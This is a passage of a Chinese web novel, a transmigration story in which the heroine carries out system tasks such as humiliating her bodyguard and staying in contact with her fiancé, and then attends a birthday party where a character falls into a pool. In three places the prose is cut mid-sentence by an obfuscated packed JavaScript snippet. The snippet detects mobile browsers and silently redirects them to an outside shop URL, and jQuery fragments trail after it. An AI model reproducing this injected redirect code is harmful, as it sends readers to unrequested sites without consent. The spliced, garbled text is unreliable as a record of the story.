金禾不服气地撇嘴,理直气壮道:“我付钱了!”
“今天是送的,此业务不开放。”
唐懿义正词严,金禾轻轻“切”一声,手上力度放轻,身体又粘了上去。
呵呵,便宜没好货,特别是赠品。
这个唐懿本性暴露了,他根本没有好好服务老板的意识!
金禾没好气地捏了唐懿腰上的软肉。
煞风景的系统忽然弹出。
【宿主,剧情点要开始了,从现在开始,你需要??扮演好所有角色,完成每日维修任务。】
系统的一句话彻底破坏了金禾的好心情。
究竟是什么样的劳模既要完成每日维修任务,又要去各种剧情点当演员?
原来是她这样的命苦打工人。
一般来说穿越到不同小世界时,都会给她一个月的缓冲,金禾往往是靠这段时间来加强自己与主角团之间的链接。
自己现在才来两天不到,怎么这么快就要进入剧情点了?
【发布每日维修任务:跟顾言秋维系一小时的感情(今日已达成);羞辱唐懿(目前羞辱值:50)。从现在开始计时,还有一小时结束。】
【羞辱值指的是宿主行为对唐懿内心造成的伤害,让他感受到屈辱。】
前者对于金禾来说几乎没有难度,可后者这个……
金禾记得自己今天没干什么吧,这人为什么感到羞辱?
在攻略组,不完成这些小任务无伤大雅,但是在维修组,她若是完不成这些任务自己和系统是会被扣工资的。
看来晚上要让唐懿留宿了。
金禾命令道:“你今晚开始和我一起住。”
“给钱吗?”
捞男,居然想通过不正当手段上位,这人真的会受到打击吗?
金禾嘴上一瓢,到嘴边的话变成了:“给钱你就让我睡吗?”
摩托车行驶过了好几个红绿灯,唐懿迟迟没有回答,金禾都以为他没有听清自己的话时,他终于开口道:“不给。”
“那你问什么?”金
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890032|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
禾不屑地冷哼一声。
唐懿沉默了好一会儿才道:“想和老板您说话不行吗?”
“……可以。”
唐懿给金禾一种很矛盾的感觉,一方面金禾觉得这人似乎只要给钱什么都能干,另一方面她又觉得这人还是有点骨气在身上。
算了,反正有钱能使鬼推磨,她一点都不着急拿捏不了唐懿。
一点都不!
别墅门上的感应灯亮起,一辆摩托车稳稳停下。
唐懿等了许久也不见金禾有动作,他提醒道:“到你家了。”
“进来。”金禾利落下了车,她真的很需要这个保镖时时刻刻在身边。
万一自己半夜需要拯救少女呢?
万一自己遇到危险了呢?
万一自己饿了呢?
万一自己任务完成不了了呢!
“好。”唐懿跨下车,摘下头盔,抱在身侧。
大门上旁的小门里探出一个身影,在外头等了许久的管家走到他们跟前,担忧道:“小姐,你眼睛好了吗?出去一天有没有难受,要不要给你叫家庭医生?”
“不用了,谢谢王叔,我感觉很好……这是我新招的保镖,你给他找个佣人房。”金禾刻意加重三字。
唐懿注意力全在前面的“谢谢”上面,他对金禾会向道谢人感到诧异,他刚要跟着管家离开,金禾就叫住了他:“你先跟着我回房间。”
唐懿脚尖转变方向,他眼里透着漠然,依旧对金禾的话没有什么反应。
“王叔,你叫人送一套他能穿的衣服到我房间。”金禾努了努嘴,提高音量,“唐懿跟上。”
王叔效率很高,几乎是金禾一到房间,佣人便送来了衣服,佣人全程低着头,把衣服放到沙发上就退下了。
唐懿看着这少女风淡粉色房间,望着毛茸茸的地毯和一排排玩偶道:“我今天卖艺不卖身。”
金禾只是想叫这人去洗澡,叫他当着自己面脱衣服羞辱他而已,这人想到哪里去了?
她嘴角扬起傲然的笑:“洗个澡看看你技术。”
“我不会。”唐懿撇开眼睛,躲开金禾赤·裸·裸的眼神。
金禾嗤笑道:“你连洗澡都不会,你小时候没自己洗过澡吗?”
这人是智障吗?连洗澡都不会。
唐懿第一次见这么不可理喻的人,他咬牙切齿道:“帮别人洗跟给自己洗不一样。”
“我就是让你给自己洗澡啊,洗给我看不行吗?”
金禾心里泛起疲惫。
怎么跟这人说话这么累,有时候看他还是很上道的啊!
她把衣服端到唐懿面前,冲着浴室抬了抬下巴:“好好表现,升职加薪不是梦。”
唐懿欲言又止,还是接过衣服进了浴室,他并没有选择浴缸,直接走进了淋浴间。
两人隔着玻璃门面面相觑,唐懿迟迟没有下一步动作。
金禾心里涌起一种预感。
羞辱唐懿时机到了。
她先是如同看动物园里面的动物般绕着淋浴间前转悠,接着用轻蔑的神情从上到下打量唐懿,欣赏着他耳尖的红晕涌起又褪去,观赏着他一寸寸黑下的脸。
时机差不多成熟,她把手搭在玻璃上,露出灿烂的笑:“你怎么还不脱?”
唐懿低下头,打开花洒。
“哗哗哗。”
【今日任务已达成。】
“感觉也没什么好看的。”金禾收回手,耸耸肩转身。
“哗。”身后的玻璃门被猛地拉开。
一双有力的大手把金禾捞进了流动的水里。
8. 原谅
冰凉的水流淌进金禾的脖颈,迅速打湿了她的全身。
卧室空调的凉意漫入浴室,即便背后的身体朝她传递着温度,金禾还是不由打了个哆嗦。
身后人的胸膛紧紧贴着她的背部,她能清晰听见那满是怒火的心脏是如何跳动的。
那颗心如同鼓槌敲击着金禾的心鼓,她知晓唐懿生气,但她完全不认为这是自己的错。
无辜的老板承受保安的怒火,这像话吗?
当然不像话!
金禾眼睛都快要喷出火星子,她用尽浑身力气也推不开唐懿,最后干脆把指甲狠狠扎进唐懿的手臂。
可恶的主角光环又开始发力了,她的力气在唐懿面前不值一提。
明天她一定要做个长甲,戳死这个唐懿。
腰上的力道又重了几分,身后的人仿佛想把她融进自己肮脏的血液,然后拖着她一起下地狱。
“老板,你不是想看我洗澡吗,进来看更清楚。”唐懿粗鲁地将金禾掰过来,又攥着她的手臂,重重把她按在墙壁上。
坚硬的墙撞得她背后泛起火辣辣的疼,金禾垂着头,湿答答的头发粘在头皮上,一缕缕抱团取暖,在她面前晃晃悠悠。
她心里窝着一团火,君子报仇十年不晚,可身为小女子的她一分钟都忍不了。
她微微蹙眉,两行泪混着水珠一起滚落,哽咽道:“好疼。”
“哭什么?老板,你不是想看我洗澡吗?”唐懿看透了金禾的把戏,面不改色。
“你弄疼我了。”金禾哭得有七八分真,那模样真的让唐懿眼底浮现无措。
他眼神一闪,瞬间松了手。
趁着他松懈的间隙,金禾对着唐懿□□来了一脚。
反正喜欢她的人不会讨厌她,讨厌她的人也不会喜欢她,那她变得更讨厌一点也没事。
【零点更新每日维修任务:取得唐懿原谅;和顾言秋保持一小时联系。】
【今日夜晚会有剧情点,需要宿主出现去给顾言秋挡伤害。】
系统立刻把剧情传递到金禾脑子里,金禾还没反应过来脑子里就多出了一堆记忆。
顾言秋所在的清理局中有痛恨吸血鬼的人类,今夜那些人类就会采取行动伤害顾言秋,剧情里他的爱慕者为他挡了伤害,正是因为这个爱慕者,顾言秋才能完好无损地出现在后来的主线剧情里。
而这个乙游的主线剧情就是女主和五个男主角谈轰轰烈烈的快乐恋爱。
一个只有NPC受伤害的世界出现了,而好巧不巧,这个NPC就是金禾。
她把自己心中被点燃的怒火全部撒在面前这个自己即将要讨好的人身上。
唐懿忍耐着疼痛,身子渐渐佝偻下去,见金禾蠢蠢欲动又想再来一次的模样,他迅速把她压在墙上。
他用一只手充当绳子,把那双不安分的手捆起,而后按在墙上。
“你不洗了?”在绝对的力量悬殊面前,金禾放弃了表面的挣扎。
日后自己要是魅力值大于这家伙,自己也让他尝尝这个滋味。
早已湿透的衣服若隐若现地朝着金禾展示自己包裹的身材,金禾顺着那脖子上绷住的线条往下看去。
视野里,宽厚的胸膛渐渐被紧实收缩的腰线替代,慢慢地,横向的凹陷变为纵向的凸起。
唐懿见金禾盯着自己某处,一字一顿道:“老板你还要看吗?”
话落,他作势要脱衣服。
金禾不想和这种控制不了自己的野兽共处一室,她走前不忘给唐懿比了个正“凸”和倒着的“凸”。
关上浴室门前,她刚好听见唐懿对她的评价:“假哭的骗子。”
金禾翻了个白眼。
假哭怎么是骗子了?
骗人眼泪的才是骗子,尺寸货不对板的人才是骗子。
所以,唐懿是半个骗子,而她不是骗子。
金禾气鼓鼓地去了另一个房间,她像水鬼一样走出卧室,屈尊降贵到客房洗澡。
见自家宿主忙完,系统才把刚刚就憋在心里的好消息说了出来。
【宿主,完成每日维修任务居然奖励了能量!】
这个消息成功让金禾原谅了这个破工作三秒钟,她根本不满足这点蝇头小利。
等她回到房间,唐懿已经洗完了。
佣人送来的衣服不是很合身,松松垮垮地挂在唐懿身上。
金禾穿着纯白的坐在床上,注视着始终站在浴室里的唐懿,慢悠悠开口:“唐懿,帮我吹头发。”
她的语气是那么理所当然,以至于让唐懿怀疑刚刚两人的摩擦是错觉。
唐懿望着浴砖与卧室的毯子之间的那条线,仿佛那是什么难以跨过的三八线,他抬起脚迈出一步、两步……走到了金禾身前。
两人之间的距离越缩越短,唐懿在距离金禾一臂的距离停了下来。
金禾困意上涌,但还是强撑着眼皮。
她觉得自己要先把这人处理了,才能安心睡觉。
毕竟自己很忙,明天可能就没时间求原谅了。
她半跪在床上,对着唐懿勾勾手指:“今天是你正式上班的第一天,别像前面一样闹来闹去了,前面的事情我原谅你了。”
真正的打工人是要像她一样尽职尽责的。
真正的老板是要像她一样体谅员工的。
金禾脸上写着“我都原谅你了,你还不原谅我吗”,她弯唇一笑,试图做出跟自己领导一样装深度的混蛋表情。
唐懿显然不上套,他不仅不往前,甚至往后退了一步。
金禾站在床上,目测了一下两人之间的距离,见自己刚刚好能伸手勾住唐懿脖子,她便学着跳水运动员的样子,举起手,往前倾去。
唐懿来不及反应,下意识迈出左腿,扶住了面前搭在他肩膀上的手臂。
金禾两大撮头发还在往下滴水,她抬起头,乐呵呵地弯起眼睛:“不错哦,我给你最佳保镖奖,带奖金的那种。”
自己都给唐懿加钱了,他总不能还生气吧,那也太小气了。
她们攻略组有一句真言,那就是没有什么是睡一觉解决不了的。
一觉不行就两觉,两觉不行就三觉……
虽然金禾不太认同这句话,但是她还是觉得这话是有一定道理的。
实在不行,她只能出此下策了。
唐懿一点点往前挪动,好不容易把金禾扶正,那人又像是软啪啪的水晶泥一样瘫在他身上。
那人和以往的老板都不同,她会先给你一个拥抱,然后跟你说一句话:“好好干。”
“是,老板。”唐懿说完就从浴室里找出了吹风机。
【唐懿原谅你了。】
“系统,他是什么时候原谅我的?”
【你抱住他的时候。】
这世界上真的有这么好的员工吗?老板一个拥抱他就原谅老板了。
真是万年好员工,金禾暂且原谅唐懿。
可惜了,可惜攻略组的真言没被用上。
一只手在发丝间游离,头上泛起痒意,金禾舒服地眯起眼睛。
电风吹的声音停止,唐懿在得到金禾首肯后退了出去,金禾睡前给未婚夫发去消息,维系二人的感情。
「金禾」:我睡了,晚安。
顾言秋迟迟未回复,金禾也懒得等她,盖上被子就睡着了。
……
屏幕另一边的顾言秋才刚从手铐里脱困,他本不应该被困这么久,可为他铐上手铐的家伙往锁扣里插入了断掉的发卡。
他打不开手铐,又不想破坏自己的家具,只能让自己的好友跨越千里回国,然后替他找来工具。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890033|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
找其他人顾言秋觉得过于丢人,只能麻烦自己不值钱的朋友。
没想到罪魁祸首还有脸给自己发晚安,他将此视为挑衅,选择暂时不理她。
就像金禾认为错不在自己,他也认为自己没有任何问题。
叶白绕着餐桌转来转去,又走到洗手池旁盯着盘子上残留的黑色米粒,嫌弃地后退一步:“你还真的拿圣水给人炒饭啊,这么恶心的东西你的未婚妻都吃掉了?”
“闭嘴。”顾言秋脑子里浮现了金禾亮着眼睛吃饭的模样,心里对她恶作剧的烦躁消了一大半。
叶白把脸凑到顾言秋面前,调侃道:“连你煮的黑暗料理都吃了,看来真的很爱你了。”
顾言秋推开叶白:“不见得,你可以走了。”
“你以为我想找你?你求我我才来的。”叶白没好气地打了顾言秋手臂一掌。
“后天请你吃饭。”顾言秋受下了那一掌。
“不约,我打算去见见我那个给别人当奶奶的弟媳,听说她老公死了,我弟弟当时被她折磨得很伤心,我打算给她点颜色瞧瞧。”
叶白很喜欢恶作剧捉弄别人,之前就有老人被他吓出心脏病。
顾言秋给他擦过好几次屁股了,他嘱咐道:“别玩过火。”
……
太阳从地平线缓缓升起,光透过云层映照在玻璃窗上,下一刻,窗子被拉开。
金禾揉着眼睛走出来,她深深吸了一口新鲜空气。
上门为她做造型的团队到了,她只能从被窝里爬起来,她睡眼惺忪地下楼。
一群人在她身上倒腾妆面,她忽然想起任务,拿起终端给顾言秋发去早安。
见顾言秋在凌晨两点回了自己消息,金禾出于对未婚夫的负责,叮嘱他之后早点睡觉。
顾言秋出于对未婚妻的负责,几乎是秒回消息。
「金禾」:早安啊!
你怎么这么晚还没有睡觉呀?
下次记得早点睡觉哦。
「顾言秋」:早安。
平时工作比较多。
我会注意的。
两人就这样有一搭没一搭地聊着。
金禾发出的无非是一堆废话,顾言秋回复的也是一堆废料。
两人的聊天毫无营养,如果顾言秋细看就会发现金禾一直在用语气词来装饰她的废话。
后面金禾觉得打字太累,发的都是语音。
【宿主,还要58分钟。】
金禾手里的杯子被她瞬间捏变形:“我这都聊一小时了!”
【我帮宿主查一下……时长计算是按顾言秋花费在你身上时间来算的,他一直在用自己设计的ai聊天机器人跟你聊天。】
“……系统,让我控制那个ai。”金禾冲着角落里看着她的唐懿绽放笑容,那个笑容如同带着刺的玫瑰,扎得唐懿突然浑身一颤。
【收到!】
「金禾」:我晚上去完朋友生日宴后可以去你家吗?
「ai」:可以,我会准备好你需要的日用品。
「金禾」:我可以跟你一起睡吗?你顺便来接我呗。
「ai」:可以。
「金禾」:我好想你啊,我们现在能不能打视频电话?
「ai」:可以。
「金禾」:那你打给我。
金禾自导自演了一场聊天大戏,迫不及待想等到顾言秋的回应。
倏然,发丝被人扯断了几根,头皮仿佛被扎上几根针,金禾疼得倒吸一口冷气。
“对不起对不起……”身后的发型师连连道歉,头冒冷汗。
金禾摆摆手,不甚在意道:“没事。”
她还想说些什么来缓解发型师的情绪,手上的终端响起。
「顾言秋向你发起了视频通话……」
9. 生日
金禾还没按下接听键电话就自行挂断了。
她回拨了过去。
没过几秒,视频电话便被接通了。
屏幕里一张戴着金丝眼镜的脸正盯着她看,顾言秋眼里带着的审视被反光的镜片遮挡住,嘴角的笑温和无比。
他把终端上的移动镜头固定在了自己办公桌的花盆上。
两人隔着屏幕相望,他率先开口打破沉默:“晚上需要我去接你吗?”
金禾立刻接了下去:“需要。”
明明是阳光正好的时候,可屏幕那边却昏暗得像是夜晚。
顾言秋面前似乎只打着一盏台灯,暖色的灯光打在他黑色衬衫和苍白的肌肤上,衬得他多了几分活人的气息。
他凹起的喉结藏在阴影下,随着他的呼吸起伏。
金禾欣赏一番后夸赞道:“你穿黑色很好看。”
“谢谢,小禾,你今天也很美,很期待晚上看见你。”简单的一句话却被他说得暧昧,他顿了几秒,继续道,“我得先把手头的工作处理好,我们晚上再聊好吗?”
顾言秋的话就和他人一样极其具有欺骗性,他懂得怎么哄女士高兴,也了解一句话该用怎么样的语气说出才能勾人心弦。
如果对面的人不是金禾,他的目的肯定能达成。
金禾根本没注意后面说了什么,那声“小禾”太像是领导给她塞活干时会用的语气,她身为打工人的DNA动了。
她眼眸里映着光,花痴地盯着顾言秋,夹着声音道:“我想看着你工作,看58分钟就好,我会安静的。”
顾言秋点点头,算是同意了,他继续手头上的工作,全程真的没再和金禾搭过话。
金禾只是为了完成任务,懒得去打扰他工作。
原本乙游里他的设定就是个工作狂,除了女主的事情,其他事情都不能让他放下他的工作。
阳光在地板上画上金色的方块,方块不断变换形状,金禾指甲上的指甲油渐渐凝固。
造型团队的人收拾完一切后从房间里离开,原本拥挤的房间只剩下唐懿和金禾,以及屏幕对面的顾言秋。
不过金禾给视频背景打上了马赛克,顾言秋只能看见金禾。
乌黑的直发顺着头皮倾泻而下,金禾满意地看着镜子里的自己,她今天特意让化妆师给她化了个妆感重一些的妆容,为了让眼睛看起来跟平时不大一样她还贴了双眼皮贴。
她担心在南芷的生日宴上看见一些熟人,到时候穿帮了,她的职业生涯也会跟着完蛋的。
“滴滴滴。”
倒计时结束,金禾的手指马上凑到屏幕前,她佯装恋恋不舍:“时间到了,你先去忙吧……”
“好,晚上见。”
金禾率先挂断通话,然后从椅子上起身,和一直注视着自己的唐懿面面相觑。
“你今天不是要去见妹妹吗?快去吧。”金禾刚刚一直想把人赶走,毕竟这种被人一直盯着的感觉并不好。
但她仔细想想还是要锻炼保镖陪自己的耐心,于是没把人从房间里赶出去。
唐懿今天在王叔的要求下换了一身正装,可他显然不太清楚西装正确的穿法。
他不仅没打领带,而且里面的衬衣也没塞到裤子里。
衬衣最上面的两颗扣子没扣,外套也被他随手扔在一边。
再配上眼下的两个大黑眼圈,此时此刻比起保镖,此刻他更像是那种面试失败而自暴自弃的颓废青年。
“谢谢老板。”唐懿在原地踌躇了一会儿才往门走去。
金禾摩挲着光滑的美甲,轻轻“嗯”了声,提醒了一句:“记得下次站得离我近一些。”
“知道了,老板。”
“吱呀。”门被缓缓关上。
……
落日西沉,夜幕降临。
金禾顺着电子邀请函上的地址到了对应的酒店楼层。
“小姐,请出示你的邀请函。”门口的保安扬起礼貌的笑容,把金禾拦了下来。
金禾点开终端里电子邀请函,保安在确认无误后朝她点点头,举起手做出“请”的手势。
“那个礼物放在哪里?”金禾拿着包装精美的礼物盒子,环顾四周也没找到放礼物的地方。
“小姐,进去右转有个专门放礼物的桌子。”
“谢谢。”
酒店露台上点缀着暖色灯串,各色西点摆在四周,欢快的爵士乐环绕在耳边。
生日宴上的人并不算很多,大部分都是和南芷差不多的同龄人,看上去都是南芷自发邀请的一些好友。
“系统,南浔不在周围吧?”金禾的心忐忑不安,总觉得有什么大事要发生。
【宿主放心,绝对不在!监测到等会有恋爱脑落水。】
系统笃定的语气让金禾稍稍放下心来,可她心里盘旋着一个疑问,她都是在男主前救下那些女孩,那原本要救下那个女孩男主在哪?
她把礼物放在白色的长桌上,偏头一看,一个熟悉的身影映入眼帘,她心脏漏了一拍,迅速背过身往一旁的点心桌走去。
金禾在心里不断尖叫,为什么南浔在这里啊啊!
系统你给我解释一下啊!
【您好,您的系统能量不足已停机,续机请贷款。】
“贷款!贷款!”
金禾此时也顾不上自己空空如也的钱包和一屁股债了,没系统她在这个乙游可能会死一百次。
【信用不足,无法贷款。】
她脑子里忽然浮现了唐懿对她说的一句话。
“真穷。”
呵呵,好想和这个破游戏同归于尽,好想掐死上司,好想抢劫银行……
心底的酸涩怎么都压不下去,她想着想着一边嘴角忽然勾起凉薄的笑,她就像是一个冷宫的妃子,吓跑了在她面前找东西吃的几位太监。
她有种想跑到南浔身前跟他打一架的冲动。
她深吸一口,等心里的湖水渐渐平静下来后,她大脑重新开始运转。
事到如今只能等明天的每日维修任务了。
不对,系统没了她上哪里领每日任务?
现在强吻一个男人能不能给她来点攻略值呢?
“啪啪啪。”露台中央的舞台周围响起掌声,唤回了金禾飘忽的思绪。
中央的舞台上身着绿色吊带连衣裙的南芷正朝着台下鞠躬,金禾也跟着拍手。
她一直在留意露台最边上被围起来的游泳池,她猜测等会应该会有人掉到里面。
人群都聚集在一起,唯有她站在远处。
好在今日她穿着灰色的polo领短袖和黑色的牛仔裤,即便独自一人待在角落也不会过分显眼。
但同样躲在角落的南浔还是一眼就看见了她。
对于自己被发现还一无所知的金禾拿起一个布丁就吃起来,她见舞台四周没有的南浔还以为他已经离开了。
毕竟她怎么也想不到南浔会像她这个外人一样躲起来。
焦糖布丁的甜味在嘴巴里漫开,她不一会儿就吃完了整个布丁,吃完她还意犹未尽地舔了舔勺子。
甜品让她彻底恢复了理智,至少她想靠强吻男主获得攻略值的念头消失了。
倏然,四周的灯灭了,只剩下边上建筑身上坠着的光。
台上的司仪的声音从音响里传出来:“让我们来随机抽一位幸运观众和南小姐一起切蛋糕吧!”
黑色的夜里长着颗白蒙蒙月亮,圆圆的月亮还藏在云里,金禾也想学着月亮找个地方躲起来,可事与愿违,下一秒,一束光打在她身上。
“让我们有请这位小姐。”
金禾顶着众人的目光硬着头皮走到舞台上,她对着南芷挤去一个得体的笑容。
南芷沉浸在喜悦中,对着门口的方向拍了拍手,丝毫没察觉到她的不自在。
一个五层的奶油蛋糕被服务员推了进来。
新鲜的花朵占据了一半的蛋糕,四只手层层叠叠握着银刀,朝着蛋糕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890034|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
切下。
在掌声和祝福声交织中,金禾随着南芷下了台。
南芷压低声音:“你真的来了啊!”
“我答应过你的呀,祝你生日快乐。”金禾也跟着降低音量。
“谢谢。”
两人粘在一起窃窃私语,仿佛在说什么悄悄话一般。
寒暄几句后服务员替他们拿来了已经被切好的蛋糕。
“希望你晚上玩得开心呀。”
话落,南芷便被其他人叫走,她对着金禾挥了挥,笑着走开了。
金禾眼前似乎还残留着南芷笑的画面,一转头,一张跟南芷相似的臭脸正直勾勾盯着她。
她心中腹诽,看什么看,没见过美女啊!
明明心里已经慌得七上八下,她还是强装镇定地折身靠着栏杆,假意自己是在眺望远方。
“小姐……”
南浔的声线偏冷,在风里就像是掉入酒杯的冰块,叮叮咚咚,敲得金禾一颗心不上不下。
她手心冒汗,目光始终放在手上的蛋糕上,她现在完全不好奇南浔为什么来找她搭话,只希望他能自己离开。
南浔提高了几分音量:“小姐,你鞋带散了。”
“谢谢,但是这鞋子就是这样设计的。”金禾特地夹着嗓子,声音听着又尖又细。
南浔微不可察地蹙了下眉,他的视线不自主地被面前人所吸引。
他本该在金禾不理他时转身离开,可他脑子里一直回荡着一个声音。
那个声音同他说:“快去仔细看看那个人的脸。”
舞台附近的嘈杂声被吹到了二人耳畔。
“啊啊啊,奶油别抹我身上!”
“哈哈哈哈哈。”
两人都不约而同被那边的打闹所吸引,可谁都没进行下一步动作。
金禾被“奶油”二字启发了,她忽然把脸埋进蛋糕里,完事了觉得不够又上手给自己抹均匀。
这匪夷所思的行为成功让南浔打消了看她正脸的念头,南浔前脚刚走,金禾后脚就转身往他的方向望去。
那方向正是游泳池所在的地方。
为了拯救恋爱脑,金禾义无反顾地跟了上去。
她的脚步已经尽可能轻了,可是脚下的木地板还是吱呀乱叫,叫得南浔心烦意乱。
他等着对方叫住自己,但身后的人迟迟不开口,最终无法躲开,他才在泳池边停下。
南浔缄默片刻转身问道:“小姐,你还有什么事情吗?”
金禾大脑处理器加速运转,她举起手里的蛋糕:“没事,想问你吃不吃蛋糕。”
一个满脸都是奶油的家伙问别人吃不吃她用脸加工过的蛋糕,有够神经的。
起码金禾自己是这么觉得的。
“吃你手上这个吗?”南浔抬起头看向远处相互抹奶油的人们,再仔细打量这位把蛋糕当作珍宝献给他的家伙。
也不是不行……
金禾并没有把心里的回答说出来。
如果南浔真的想吃,她也会给的。
金禾迟疑道:“你要吃吗?”
这句话一出,周围的空气似乎都凝固了,喧嚣离他们远去,只剩下满地的尴尬。
“那个……”金禾着急上前半步,想要打破尴尬,倏然,脚下一紧,鞋带拽住脚踝。
她拼命挥舞着双手,才堪堪稳住身体。
但她手上的蛋糕可没那么走运了,它先是滑出塑料碗,而后选中了面前的幸运儿,并亲吻了幸运儿的脸颊。
南浔眼睁睁看着一块没有奶油的蛋糕朝他飞来,身体比大脑先一步做出反应。
“噗通。”
波光粼粼的水面被南浔搅得泛起涟漪,他拍打着水面,在原地不停挣扎。
金禾愣愣看着一米八深的泳池,又睨了眼在水中扑腾的南浔。
只要踮脚就能呼吸到空气吧?
一个问题在她心里浮现:
她要救的恋爱脑难道是这个吗?
10. 真容
金禾实在是不想弄湿自己的衣服,但南浔又是她给弄下去的,不表示一下她心里还是有些过意不去。
她在原地磨叽了半晌才跪下去,朝着狼狈的南浔伸出手,喊道:“踮脚,踮脚。”
金禾此举毫无诚意,根本看不出一丝的救人心切,她为了防止真的被拉入下水,不仅距离水池两臂之远,手还软啪啪的,根本没伸直。
游泳池里的南浔完全没了平日里的高傲与矜贵,此时他更像是一只不会水的德牧,在水里尽显狼狈。
接受完金禾话里的讯息,下一刻,他踮起脚,慢慢划拉到水池边。
金禾垂头看着离她越来越近的落水狗,不由感叹男主不愧是男主,能在不会水的情况下临危不乱。
多亏了自己教导有方啊!
她彻底将自己是害南浔落水的罪魁祸首这件事抛之脑后了。
反正男主们福大命大,抗造。
湿淋淋的头发被南浔全部顺到脑后,一双黝黑的眼睛冷冰冰地盯着金禾。
他两手搭在池边,从水里爬出来,那块垒分明的肌理在湿透的衬衣下无处遁形,金禾还没来得及欣赏就被逼近的落水狗叼了起来。
金禾脚下一空,转瞬被扔了出去。
她活了这么久,第一次体会到了被抛尸的感受,自己就像是易拉罐一样被丢了出去,然后扑通一声掉到水里。
“咳咳咳。”
身体被水淹没,即便金禾已提前屏住呼吸,还是不可避免地连呛了好几口水。
她先是迅速稳住身子,而后把头朝上,扒开水,借力探出头,深深吸了一口气。
水像是以金禾为圆心开始沸腾,水花四溅,最后只剩下平静。
金禾任由身子沉入水底,肺里的气体不断流失,无数气泡擦过脸颊。
一、二、三……二十……
她在心里默数着自己的憋气时间,等着南浔上钩。
这人怎么毫无绅士风度?
怎么就这么把她扔到水里了?
金禾在心里发誓一定要这人再体验一下在水里被按头的滋味。
“噗通。”
下来了?
但是听声音这体积似乎不对啊!
待在水底一切声音都听着不真切,她睁开干涩的眼睛,水立刻包裹着眼球。
一个小小的黑影在近处扑棱。
怎么又来一个?
金禾这会儿也顾不得自己的计谋能不能得逞了,她脚下一蹬,捞起那个黑影就往池边游去。
一靠岸,那黑影就蹿了出去。
“小南!小南!”
泳池边的小女孩蹲下身抱着把尾巴转成旋螺桨的大黑狗。
金禾像坨史莱姆,慢慢悠悠轱辘上岸,她筋疲力尽地躺在泳池边,望着黑漆漆的天空。
忽然视野里出现了一条粉嫩嫩的大舌头,两双圆溜溜的大眼睛。
“姐姐,谢谢你。”小女孩俯下身子,趴在金禾脸庞边,亲了口金禾。
小小的唇瓣贴在脸上,抽走了身上的疲惫,金禾心下一软,正想起身,却被一辆卡车压住。
金禾警惕地注视着大黑狗的一举一动,生怕它做出什么奇怪的举动。
脑子里突然窜过一阵电流,熟悉的电子音响起,带着强烈的激动。
【宿主!管理局发补贴了,我又回来了!】
“系统!快给我易容一下!”金禾眼里亮起激动的光,不等她说些什么,那条令她害怕的狗舌头先舔灭了她的兴奋。
她没想到在自己强吻男主之前,自己先被一条大黑狗强吻了。
狗给她的脸来个了全方位的SPA,金禾一手托着狗脑袋,一手捂着脸。
原来自己要救的是这个恋爱脑吗?
“小南!坐下!”女孩用幼小的身躯拖着大黑狗,但效果微乎其微。
南浔盯着金禾的脸,微微皱眉,他眼底闪过几丝疑惑,他记得金禾先前的五官似乎不长这样。
虽然她的脸被奶油覆盖,但依稀还是能够看出她是鹅蛋脸,现在却变成了国字脸。
他几步上前,扣住狗项圈,紧接着拉着狗往后。
金禾得到片刻喘息,一个鲤鱼打挺坐起来,拉着边上跌倒的小女孩一起起身。
小女孩咧嘴一笑:“姐姐,谢谢你,小南太傻了,捡球的时候忘记都忘记自己不会游泳了。”
“小南真是傻狗。”金禾点头附和了一句。
红色的空心塑料球在水里飘荡,小黑狗面对红球蠢蠢欲动,南浔将它拽得离水远了些。
“对……”小女孩害怕地睨了眼南浔,“姐姐,我看见她把你扔到水里了,如果他欺负你,你一定要找警察叔叔哦!”
为了照顾幼童的幼小心灵,金禾选择编织谎言:“我们在玩游戏。”
小女孩转动小小的脑袋瓜,还是理解不了大人的游戏:“那这个游戏叫什么?”
金禾随口胡诌:“捡球游戏。”
“姐姐你是球,那哥哥是……狗?”小女孩歪着头,看看金禾,又看看南浔,随后对着南浔义正辞严道,“哥哥!当狗就要好好捡球!”
“对啊,当狗就要好好捡球。”南浔语气没什么起伏,听不出他的情绪。
他扣着项链的手一松,傻狗又溜出去捡球了。
“哇哇哇,小南!”
小女孩后面的小丸子随着哭声晃动,泪如决堤。
金禾万般无奈之下无奈了一下,她抿着嘴,看着大傻狗落水后又飞速爬上岸,拽着她的裤腿就往水里拉。
“我知道了!我帮你捡!”
话落,大黑狗乖乖趴在水池边,一眨不眨地瞧着她。
金禾扯着嘴角,坐在池边,仰望着面色铁青的南浔,猥琐一笑,找准时机,拉住他的裤脚。
当狗就要好好捡球啊!凭什么让她来捡球!
怒火在心中化为力量,汇集在她的手腕上。
她狠狠对着南浔的裤腿一扯。
“撕拉。”
裤子面料应声裂开,白花花的大腿裸露在外。
